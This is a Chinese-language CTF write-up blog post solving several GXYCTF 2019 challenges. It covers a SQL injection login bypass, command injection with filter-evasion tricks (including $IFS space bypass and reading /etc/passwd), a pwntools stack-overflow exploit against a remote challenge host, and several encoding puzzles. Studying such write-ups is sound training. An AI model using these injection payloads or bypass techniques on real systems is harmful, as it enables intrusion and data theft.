当前位置: 首页 > 技术干货 > GXYCTF部分详细题解

GXYCTF部分详细题解

发表于:2019-12-26 14:16 作者: 紫色仰望 阅读数(2570人)

0x00:GXYCTF部分详细题解

2019GXYCTF于昨天晚上结束,这里我写下较详细的部分题解,希望可以帮到大家!

0x01:baby_sqli

进来后是一个 登录页面

1.png

首先 尝试下

  1. admin
  2. 123

登录,然后查看 源代码,发现一串很可疑的字符串

2.png

尝试了下,发现是base32编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

对其进行解码得到:

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

然后base64 解码得到:

select * from user where username = '$name'

应该是 提示我们 要从 username 入手

我们查看下 他有几个字段

  1. admin' union select 1,2,3#
  2. admin' union select 1,2,3,4#

可以得到 是3个字段,我们猜测字段名是ip username password

然后我们通过下面语句

admin' union select 1,'admin',3#

//即把admin 放到第二个位置 不报错
得到第二个字段就是我们的username字段
然后 题目提示了"md5",于是我们便可以去猜测 它的后端是怎么写的:

  1. <?php
  2. $row;
  3. $pass=$_POST['pw'];
  4. if($row['username']=='admin'){
  5. if($row['password']==md5($pass)){
  6. echo $flag;
  7. }else{
  8. echo "wrong pass!";
  9. }
  10. }else{
  11. echo "wrong user!";
  12. }

就是 我们的sql语句执行时,passsword字段中的内容要==md5(我们密码栏输入的password)

然后我们便随便找个 密码 就123吧:

  1. 明文:123
  2. md5 : 202cb962ac59075b964b07152d234b70

于是我们便构造这样的payload:

  1. username栏:' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
  2. password栏:123

登录便可以得到

3.png

flag:GXY{y0u4renot_aDmin!}

0x02:ping ping ping

我们进来后可以看到:

4.png

这题应该考查的是任意命令执行我们首先 ping 本地填入127.0.0.1;ls

点击确定 得到

5.jpg

然后,既然flag.php在同级目录下,直接 cat 拿到就好了
如果它没有过滤的话我们应该这样填入127.0.0.1;cat flag.php

但经过我们的输入发现,这题它把 空格和 'flag' 给过滤了,所以,我们得想办法把 空格和 'flag' 给绕过

我们先来 绕过下空格,在这之前我们来了解下

0x03:linux 常见空格绕过方法

使用<或者<>来绕过空格

cat

花括号 扩展{OS_COMMAND,ARGUMENT}

{cat,/etc/passwd}

$IFS绕过

cat$IFSflag.txt

变量控制

x=$'cat\x09./a.txt'&&$x

经过 我们测试 这题我们可以通过 $IFS 绕过 空格

然后我们来 绕过 'flag'过滤

这里我们 选择构造变量然后使用变量去绕过:于是最后我们构造 payload为:

127.0.0.1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

然后BurpSuite抓包便成功拿到flag.php中得内容

flag:GXY(1sh0uldbanIcmp4tFirst)

6.jpg

这次很难受,就做出来一道pwn!我还是写详细些吧!

0x04:fantasy

首先查看程序属性及保护

  1. $ file fantasy
  2. fantasy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l,
  3. for GNU/Linux 2.6.32, BuildID[sha1]=0964804519339e930431d2c6f850fd89c3e79f29, not stripped
  4. ---------------------------------------------------------------------------------
  5. $ checksec fantasy
  6. Arch: amd64-64-little
  7. RELRO: Partial RELRO
  8. Stack: No canary found
  9. NX: NX enabled
  10. PIE: No PIE (0x400000)

我们可以看出该程序是 动态链接的64位elf文件,另外仅开启NX保护!然后我们将它拖入ida中(64位):

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. welcome(*(_QWORD *)&argc, argv, envp);
  4. vul();
  5. puts("OK,see you again");
  6. return 0;
  7. }

我们进去vul()函数中:

  1. int vul()
  2. {
  3. char buf; // [rsp+0h] [rbp-30h]//这里我们可以看出buf距离rbp的地址是0x30, 即48
  4. puts("I got a message bank ,you can store something in it!");
  5. puts("input your message");
  6. read(0, &buf, 0x40uLL); //这里有个很明显得栈溢出漏洞
  7. return puts("OK , i got it ,let me see if i can bring you fantasy!!!");
  8. }

另外,我们可以在ida函数栏可以看到fantasy函数,发现是后门函数

  1. int fantasy()
  2. {
  3. return system("/bin/sh");
  4. }

于是我们先把它地址先记下来:0x400735

7.jpg

0x05:解题思路

我们可通过栈溢出漏洞去覆盖掉ret_addr为 fantasy函数的地址即可拿到pwn掉程序! 于是构造payload:payload='a'*48+p64(0xdeadbeef)+p64(0x400735)

  1. 原栈结构大概是这样(如下):
  2. 0000| buf
  3. 0008|
  4. 0016|
  5. 0024|
  6. 0032|
  7. 0040|
  8. 0048|
  9. 0056| rbp
  10. 0064| ret_addr
  11. ————————————————————————————————————————————
  12. 我们构造后,栈结构就变成这样下面这样了,
  13. 执行到返回地址时,程序就会返回到我们构造的fantasy后门函数去继续执行!
  14. ——————————————————————————————————————————————
  15. 0000| a*48
  16. 0008|
  17. 0016|
  18. 0024|
  19. 0032|
  20. 0040|
  21. 0048|
  22. 0056| 0xdeadbeef
  23. 0064| fantasy_addr

0x06:exp

  1. #coding:utf8
  2. from pwn import *
  3. conn=process('./fantasy')
  4. conn=remote('183.129.189.60','10025')
  5. payload='a'*0x30+p64(0xdeadbeef)+p64(0x400735)
  6. conn.sendline(payload)
  7. conn.interactive()

python 跑下便可以拿到flag

python fantasy.py

GXY{WelcometoBinary_world}

11.png8.png

0x07:fu

看题目联想到了 与佛论禅!

下载得到的是一个压缩包,里面有一个图片和一个加密的fo.txt文本,如下图:

9.png

我首先想到的是用明文攻击 ,做这题,但却失败告终!这题其实直接修复下 下载的压缩包,就可以的

0.jpg

然后就得到 修复后的 rebuilt.fu.zip

11.png

然后打开 fo.txt文本,果然不出我们所料,然后我们将 佛曰内容进行解密即可!

12.png

佛曰:遮等諳勝能礙皤藐哆娑梵迦侄羅哆迦梵者梵楞蘇涅侄室實真缽朋能。奢怛俱道怯都諳怖梵尼怯一罰心缽謹缽薩苦奢夢怯帝梵遠朋陀諳陀穆諳所呐知涅侄以薩怯想夷奢醯數羅怯諸

与佛论禅网址:http://www.keyfc.net/bbs/tools/tudoucode.aspx

13.png

0x08:base乱码

这题 首先给了我们这么多行的base64编码的字符串

  1. Q2V0dGUgbnVpdCwK
  2. SW50ZW5hYmxlIGluc29tbmllLAp=
  3. TGEgZm9saWUgbWUgZ3VldHRlLAo=
  4. SmUgc3VpcyBjZSBxdWUgamUgZnVpcwp=
  5. SmUgc3ViaXMsCt==
  6. Q2V0dGUgY2Fjb3Bob25pZSwK
  7. UXVpIG1lIHNjaWUgbGEgdOmUmnRlLAp=
  8. QXNzb21tYW50ZSBoYXJtb25pZSwK
  9. RWxsZSBtZSBkaXQsCo==
  10. VHUgcGFpZXJhcyB0ZXMgZGVsaXRzLAp=
  11. UXVvaSBxdSdpbCBhZHZpZW5uZSwK
  12. T24gdHJh5Y2vbmUgc2VzIGNoYeWNr25lcywK
  13. U2VzIHBlaW5lcywK
  14. SmUgdm91ZSBtZXMgbnVpdHMsCm==
  15. QSBsJ2Fzc2FzeW1waG9uaWUsCl==
  16. QXV4IHJlcXVpZW1zLAr=
  17. VHVhbnQgcGFyIGRlcGl0LAq=
  18. Q2UgcXVlIGplIHNlbWUsCt==
  19. SmUgdm91ZSBtZXMgbnVpdHMsCp==
  20. QSBsJ2Fzc2FzeW1waG9uaWUsCp==
  21. RXQgYXV4IGJsYXNwaGVtZXMsCo==
  22. Sidhdm91ZSBqZSBtYXVkaXMsCl==
  23. VG91cyBjZXV4IHF1aSBzJ2FpbWVudCwK
  24. TCdlbm5lbWksCu==
  25. VGFwaSBkYW5zIG1vbiBlc3ByaXQsCp==
  26. RumUmnRlIG1lcyBkZWZhaXRlcywK
  27. U2FucyByZXBpdCBtZSBkZWZpZSwK
  28. SmUgcmVuaWUsCq==
  29. TGEgZmF0YWxlIGhlcmVzaWUsCh==
  30. UXVpIHJvbmdlIG1vbiDplJp0cmUsCo==
  31. SmUgdmV1eCByZW5h5Y2vdHJlLAp=
  32. UmVuYeWNr3RyZSwK
  33. SmUgdm91ZSBtZXMgbnVpdHMsCn==
  34. QSBsJ2Fzc2FzeW1waG9uaWUsCq==
  35. QXV4IHJlcXVpZW1zLAp=
  36. VHVhbnQgcGFyIGRlcGl0LAq=
  37. Q2UgcXVlIGplIHNlbWUsCo==
  38. SmUgdm91ZSBtZXMgbnVpdHMsCm==
  39. QSBsJ2Fzc2FzeW1waG9uaWUsCl==
  40. RXQgYXV4IGJsYXNwaGVtZXMsCm==
  41. Sidhdm91ZSBqZSBtYXVkaXMsCu==
  42. VG91cyBjZXV4IHF1aSBzJ2FpbWVudCwK
  43. UGxldXJlbnQgbGVzIHZpb2xvbnMgZGUgbWEgdmllLAp=
  44. TGEgdmlvbGVuY2UgZGUgbWVzIGVudmllcywK
  45. U2lwaG9ubmVlIHN5bXBob25pZSwK
  46. RGVjb25jZXJ0YW50IGNvbmNlcnRvLAq=
  47. SmUgam91ZSBzYW5zIHRvdWNoZXIgbGUgRG8sCo==
  48. TW9uIHRhbGVudCBzb25uZSBmYXV4LAp=
  49. SmUgbm9pZSBtb24gZW5udWksCo==
  50. RGFucyBsYSBtZWxvbWFuaWUsCl==
  51. SmUgdHVlIG1lcyBwaG9iaWVzLAq=
  52. RGFucyBsYSBkZXNoYXJtb25pZSwK
  53. SmUgdm91ZSBtZXMgbnVpdHMsCv==
  54. QSBsJ2Fzc2FzeW1waG9uaWUsCn==
  55. QXV4IHJlcXVpZW1zLAp=
  56. VHVhbnQgcGFyIGRlcGl0LAo=
  57. Q2UgcXVlIGplIHNlbWUsCm==
  58. SmUgdm91ZSBtZXMgbnVpdHMsCp==
  59. QSBsJ2Fzc2FzeW1waG9uaWUsCm==
  60. RXQgYXV4IGJsYXNwaGVtZXMsCu==
  61. Sidhdm91ZSBqZSBtYXVkaXMsCm==
  62. VG91cyBjZXV4IHF1aSBzJ2FpbWVudCwK
  63. SmUgdm91ZSBtZXMgbnVpdHMsCn==
  64. QSBsJ2Fzc2FzeW1waG9uaWUgKGwnYXNzYXN5bXBob25pZSksCn==
  65. Sidhdm91ZSBqZSBtYXVkaXMsCt==
  66. VG91cyBjZXV4IHF1aSBzJ2FpbWVudA==

这题,我们 首先对它进行base64解密,得到的是莫扎特的一首音乐歌词,有兴趣的朋友可以听听看!

14.jpg

我从中没有得出 有用的信息,于是想到base64隐写我们将上面base64编码的多行字符串,命名为1.txt我们写如下代码,将其隐写的内容给输出 出来:

  1. #coding:utf8
  2. b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
  3. with open('1.txt', 'rb') as f:
  4. bin_str = ''
  5. for line in f.readlines():
  6. stegb64 = ''.join(line.split())
  7. rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
  8. offset = abs(b64chars.index(stegb64.replace('=', '')[-1]) - b64chars.index(rowb64.replace('=', '')[-1]))
  9. equalnum = stegb64.count('=') # no equalnum no offset
  10. if equalnum:
  11. bin_str += bin(offset)[2:].zfill(equalnum * 2)
  12. print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) # 8位一组

直接跑出来flag了

flag:GXY{fazhazhenhaoting}

想知道更多实验操作,小编推荐合天网安实验室:Base64编码原理与应用(通过学习本实验理解base64编码的加密解密原理和了解base64编码加密后的特征,并能够对base64编码后的字符串进行解密。)

0x09:checkin

签到题,我把它放到最后了,在解题之前,我们先来了解下Rot47密码

Rot47密码:对数字、字母、常用符号进行编码,按照它们的ASCII值进行位置替换,用当前字符ASCII值往前数的第47位对应字符替换当前字符,例如当前为小写字母z,编码后变成大写字母K,当前为数字0,编码后变成符号_。

用于ROT47编码的字符其ASCII值范围是33-126:

  1. !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

Rot47加密代码:

  1. # -*- coding: UTF-8 -*-
  2. def rot47(s):
  3. x = []
  4. for i in xrange(len(s)):
  5. j = ord(s[i])
  6. if j >= 33 and j <= 126:
  7. x.append(chr(33 + ((j + 14) % 94)))
  8. else:
  9. x.append(s[i])
  10. return ''.join(x)
  11. #例:Z——>K 0——>_
  12. print rot47('z0')# K_

我们对应写出Rot47解题脚本:

  1. # -*- coding: UTF-8 -*-
  2. #这个给个 demo:
  3. s="96E:2?K9:9F:"
  4. de_Rot47=''
  5. for i in range(len(s)):
  6. j=ord(s[i])
  7. if j>=33 and j<= 126:
  8. de_Rot47+=chr(33+((j + 14)%94))
  9. else:
  10. de_Rot47+=a[i]
  11. print(de_Rot47)#hetianzhihui

首先,题目给了我们

dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==

对其进行base64解密 得到

v)L_F0}@H0F49023@FE0#@EN

观察发现是 Rot47 加密方式,所以我们 再对其进行 Rot47 解密带入我们写入的Rot47 解密 Python脚本:

  1. # -*- coding: UTF-8 -*-
  2. s="v)*L*_F0<}@H0>F49023@FE0#@EN"
  3. de_Rot47=''
  4. for i in range(len(s)):
  5. j=ord(s[i])
  6. if j>=33 and j<= 126:
  7. de_Rot47+=chr(33+((j + 14)%94))
  8. else:
  9. de_Rot47+=a[i]
  10. print(de_Rot47)#GXY{Y0u_kNow_much_about_Rot}

运行得到 GXY{Y0ukNowmuchaboutRot}